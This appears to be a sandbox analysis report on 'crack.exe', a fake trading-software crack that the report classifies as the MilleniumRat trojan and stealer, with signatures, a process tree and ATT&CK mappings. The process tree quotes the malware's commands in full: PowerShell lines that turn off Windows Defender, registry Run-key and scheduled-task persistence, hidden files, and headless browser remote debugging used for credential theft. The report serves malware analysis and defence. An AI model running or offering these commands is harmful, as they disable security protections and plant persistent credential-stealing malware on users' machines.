Overview

overview

10

Static

static

3

BTC-ProTrader.zip

windows10-2004-x64

1

BTC-ProTrader.exe

windows10-2004-x64

1

crack.exe

windows10-2004-x64

10

setup.bat

windows10-2004-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    900s
  • max time network
    905s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/08/2026, 02:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    crack.exe
  • Size 1.1MB
  • Sample260817-clsbca1glc
  • SHA256 3b35d3233e08d7c7a43a0bc0a899ce14cd6797949e96af0c6b3c32f690ab4815
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionmilleniumratpersistenceprivilege_escalationratspywarestealer

Malware Config

Signatures

  • Family: MilleniumRat

    MilleniumRat is a remote access trojan written in C#.

    ratstealermilleniumrat
  • Detects MilleniumRAT stealer 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 4 IoCs
  • Uses browser remote debugging 2 TTPs 2 IoCs

    Can be used to control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 12 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes dropped EXE 14 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies registry key 1 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\crack.exe
    "C:\Users\Admin\AppData\Local\Temp\crack.exe"
    1⤵
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\crack.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2412
    • C:\Users\Admin\AppData\Local\Temp\crack.exe
      "C:\Users\Admin\AppData\Local\Temp\crack.exe"
      2⤵
      • Downloads MZ/PE file
      • Creates a file in the Startup directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Users\Admin\AppData\Roaming\S137UQYWFEC5\svchost.exe
          "C:\Users\Admin\AppData\Roaming\S137UQYWFEC5\svchost.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4860
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --headless --disable-gpu
            5⤵
            • Uses browser remote debugging
            • Enumerates system info in registry
            • Suspicious use of WriteProcessMemory
            PID:4264
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x25c,0x7ffdf873c188,0x7ffdf873c194,0x7ffdf873c1a0
              6⤵
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:4196
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name "DisableOnAccessScanning" -Value 1 -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:2984
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name "DisableOnAccessScanning" -Value 1 -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:2896
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name "DisableOnAccessScanning" -Value 1 -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:4188
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name "DisableOnAccessScanning" -Value 1 -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:3604
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Users\Admin\AppData\Local\Temp\8cVToaPU\vshost.exe
          "C:\Users\Admin\AppData\Local\Temp\\8cVToaPU\vshost.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:5032
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --headless --disable-gpu
            5⤵
            • Uses browser remote debugging
            • Enumerates system info in registry
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:5008
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x25c,0x7ffde89bc188,0x7ffde89bc194,0x7ffde89bc1a0
              6⤵
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:2024
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c timeout /t 3 /nobreak & rd /s /q "C:\Users\Admin\AppData\Local\Temp\8cVToaPU"
            5⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1876
            • C:\Windows\SysWOW64\timeout.exe
              timeout /t 3 /nobreak
              6⤵
              • System Location Discovery: System Language Discovery
              • Delays execution with timeout.exe
              PID:4612
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:892
        • C:\Windows\system32\attrib.exe
          "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
          4⤵
          • Views/modifies file attributes
          PID:2624
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHealthMonitor /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:2136
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysHelper /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:3708
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Setup /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:2468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -WindowStyle Hidden -Command "$action = New-ScheduledTaskAction -Execute 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $trigger = New-ScheduledTaskTrigger -AtLogon; $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'OneDriveStandalone' -Action $action -Trigger $trigger -Settings $settings -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -WindowStyle Hidden -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.lnk'); $s.TargetPath = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $s.WorkingDirectory = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo'; $s.WindowStyle = 7; $s.Save()"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Creates a file in the Startup directory
          • Suspicious behavior: EnumeratesProcesses
          PID:2524
        • C:\Windows\system32\attrib.exe
          "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
          4⤵
          • Views/modifies file attributes
          PID:4840
        • C:\Windows\system32\wscript.exe
          "wscript.exe" //nologo //b C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:1804
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
          4⤵
          • Executes dropped EXE
          PID:4976
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
          4⤵
          • Executes dropped EXE
          PID:4832
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4564
        • C:\Windows\system32\attrib.exe
          "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe
          4⤵
          • Views/modifies file attributes
          PID:1684
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHealthMonitor /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:4820
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysHelper /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:772
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Setup /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:4592
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -WindowStyle Hidden -Command "$action = New-ScheduledTaskAction -Execute 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $trigger = New-ScheduledTaskTrigger -AtLogon; $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'OneDriveStandalone' -Action $action -Trigger $trigger -Settings $settings -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -WindowStyle Hidden -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.lnk'); $s.TargetPath = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $s.WorkingDirectory = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo'; $s.WindowStyle = 7; $s.Save()"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Creates a file in the Startup directory
          • Suspicious behavior: EnumeratesProcesses
          PID:3728
        • C:\Windows\system32\attrib.exe
          "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
          4⤵
          • Views/modifies file attributes
          PID:552
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            5⤵
              PID:1684
          • C:\Windows\system32\wscript.exe
            "wscript.exe" //nologo //b C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
            4⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:4388
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
            4⤵
            • Executes dropped EXE
            PID:824
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
            4⤵
            • Executes dropped EXE
            PID:2012
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1272
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
        2⤵
        • Executes dropped EXE
        PID:4420
    • C:\Users\Admin\AppData\Roaming\S137UQYWFEC5\svchost.exe
      C:\Users\Admin\AppData\Roaming\S137UQYWFEC5\svchost.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2752
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      1⤵
      • Executes dropped EXE
      PID:2916
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:2068
      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
        1⤵
          PID:3940

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              3
              T1059

              PowerShell

              1
              T1059.001

              Visual Basic

              1
              T1059.005

              Windows Command Shell

              1
              T1059.003

              Persistence

              Boot or Logon Autostart Execution

              2
              T1547

              Registry Run Keys / Startup Folder

              2
              T1547.001

              Modify Authentication Process

              1
              T1556

              Privilege Escalation

              Boot or Logon Autostart Execution

              2
              T1547

              Registry Run Keys / Startup Folder

              2
              T1547.001

              Defense Evasion

              Hide Artifacts

              1
              T1564

              Hidden Files and Directories

              1
              T1564.001

              Modify Authentication Process

              1
              T1556

              Modify Registry

              2
              T1112

              Credential Access

              Credentials from Password Stores

              1
              T1555

              Credentials from Web Browsers

              1
              T1555.003

              Modify Authentication Process

              1
              T1556

              Steal Web Session Cookie

              1
              T1539

              Unsecured Credentials

              1
              T1552

              Credentials In Files

              1
              T1552.001

              Discovery

              Browser Information Discovery

              1
              T1217

              Query Registry

              3
              T1012

              System Information Discovery

              4
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              System Network Configuration Discovery

              1
              T1016

              Internet Connection Discovery

              1
              T1016.001

              Lateral Movement

              Collection

              Data from Local System

              1
              T1005

              Command and Control

              Web Service

              1
              T1102

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              powershell.exe.log
              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              powershell.exe.log
              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              settings.dat
              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
              • Size 280B
              • SHA256 a59087fbda784cffb013f4e2a0bf13a7fca483c48e8a7fc15fa022402eb25d72
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              settings.dat
              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
              • Size 280B
              • SHA256 39b8627875fea5ac5c5bfb887da12c15116e3fe81f200852c71d5699102c9044
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              edge_shutdown_crash.txt
              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\temp\edge_shutdown_crash.txt
              • Size 1B
              • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
              • MD5 SHA1 SHA512
              Submit Download

              Last Version
              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
              • Size 14B
              • SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
              • MD5 SHA1 SHA512
              Submit Download

              Local State
              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
              • Size 8KB
              • SHA256 2bcf753ed190009b47d51cd958513cbd439b0876436e40a83fd3c93c2702a380
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Local State
              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
              • Size 8KB
              • SHA256 ae24bf1f1009bff07d26e7eaa72576e9ae5abfb42134d5fbf8672ab7c086ec54
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Variations
              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
              • Size 86B
              • SHA256 3dc9043838386f5363ac96a01477cf3163b5118b80191576a11b32ce9894314c
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              ModuleAnalysisCache
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 53KB
              • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 18KB
              • SHA256 c7d6c4e2f3c37ca259497b8077612b1358bfec6f049c88cf77232db2c41e02f3
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 8685999934d4786f68afbe0f7ceeecd3e308fe8886cd2bc269ba7e3d43bf3c90
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 18KB
              • SHA256 68c3a515a744e36eea4ce22390909a90390c1fd415b65a81ad6378c45ca82b00
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 18KB
              • SHA256 b70416b8b11a659a09b88079bbf69d3f8a5837c1ffef9627af51181e12aace8d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 18KB
              • SHA256 ff592ecceaba8640fdc08c333d89cbb07c6c6bf53e84dd0e55746a68847301a3
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              vshost.exe
              • Path C:\Users\Admin\AppData\Local\Temp\8cVToaPU\vshost.exe
              • Size 2.4MB
              • SHA256 e724b8417dc081196b9892e5f7c8b30b06be04916fc05f887ccc080e5ba8f5af
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              __PSScriptPolicyTest_oak31svb.wb0.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oak31svb.wb0.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              tmp_6142_update2.exe
              • Path C:\Users\Admin\AppData\Local\Temp\tmp_6142_update2.exe
              • Size 55B
              • SHA256 b6b5da015ed9b1222c507c4df03d0351addf6621168f1dc3d3351afda7ab1d84
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              update_log.txt
              • Path C:\Users\Admin\AppData\Local\Temp\update_log.txt
              • Size 782B
              • SHA256 c1c12897b3122a42a8b480638d7cb28dba658a0b5ac59ce71dddea9aece95211
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              JDXsnbQ.lnk
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JDXsnbQ.lnk
              • Size 1KB
              • SHA256 858c8f1fb5742ce320cb1d01392b40333a307d197ac3d7bd03bc50d0050b8e50
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              OneDrive.lnk
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk
              • Size 1KB
              • SHA256 f8df2940146735a1aa31ffaed014a5fe33ea5c6477c55d649d28853850ac5690
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              update1.exe
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe
              • Size 2.6MB
              • SHA256 9afa2885bcb35aa5f012c7ad784b940b284ab968dad1eb8c4f3f2e1b6cda7572
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              update3.exe
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe
              • Size 351KB
              • SHA256 8098d0cf7a2460b14d7145b0c15a183c5fdbaa9e3932b1ee701aa4c2d59c0d9c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              syshelper.vbs
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
              • Size 647B
              • SHA256 683299efb20c6d035b79528fc3b65b4ead66e9bcf4c9dccb3c720ee926860341
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/1272-74-0x000001C47F3E0000-0x000001C47F456000-memory.dmp
              Download

              memory/1272-73-0x000001C47EFB0000-0x000001C47EFF4000-memory.dmp
              Download

              memory/1272-57-0x000001C47EE30000-0x000001C47EE52000-memory.dmp
              Download

              memory/2412-25-0x0000000004F60000-0x0000000004FC6000-memory.dmp
              Download

              memory/2412-23-0x0000000005130000-0x0000000005758000-memory.dmp
              Download

              memory/2412-45-0x0000000004CF0000-0x0000000004D0E000-memory.dmp
              Download

              memory/2412-82-0x0000000006550000-0x0000000006582000-memory.dmp
              Download

